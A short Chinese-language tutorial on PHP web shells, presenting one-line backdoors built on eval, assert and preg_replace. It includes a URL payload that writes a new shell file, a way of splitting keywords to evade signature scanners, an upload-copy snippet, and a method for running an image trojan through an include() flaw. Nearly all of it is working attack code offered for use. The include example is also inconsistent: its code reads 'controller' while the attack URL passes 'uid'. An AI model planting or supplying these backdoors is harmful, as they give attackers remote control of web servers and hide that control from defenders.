标准的写法,直接通过eval执行php代码,如下:@eval ($_POST['code']);
动态执行assert生成一个木马文件(隐藏性最好的一种)如下:@$_GET['a']($_GET['code']);
使用方法:从url中传入下面参数执行后会在当前目录生成一个c.php的文件.如下:/index.php?a=assert&code=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
a参数为eval时会报错(因为eval不是函数)木马生成失败,为assert时同样报错,但会生成木马
使用preg_replace执行代码(里面前面只要用一个的任意字符串就可以,如果不一样的话命令可能会被执行多次)如下:@preg_replace("/re/e", $_POST['code'], "re");
把特征码打散.如下:session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
重命名任意文件$reg="c"."o"."p"."y";
$reg($_FILES['filename']['tmp_name'],$_FILES['filename']['name']);
include的漏洞使用方法
有时候我们会上传一些图片木马但是却不能执行,这个时候如果有一个include的漏洞,那么图片木马就可以执行啦如下
如果php代码里有一个include($_GET['controller']) 且还有一个url路径为 /index.php?controller=user 这个看起来就是一个根据参数包含执行对应控制器的代码,
但是如果url路径里的参数改成这样 /index.php?uid=/upload/images/muma.jpg 这个时候木马就执行啦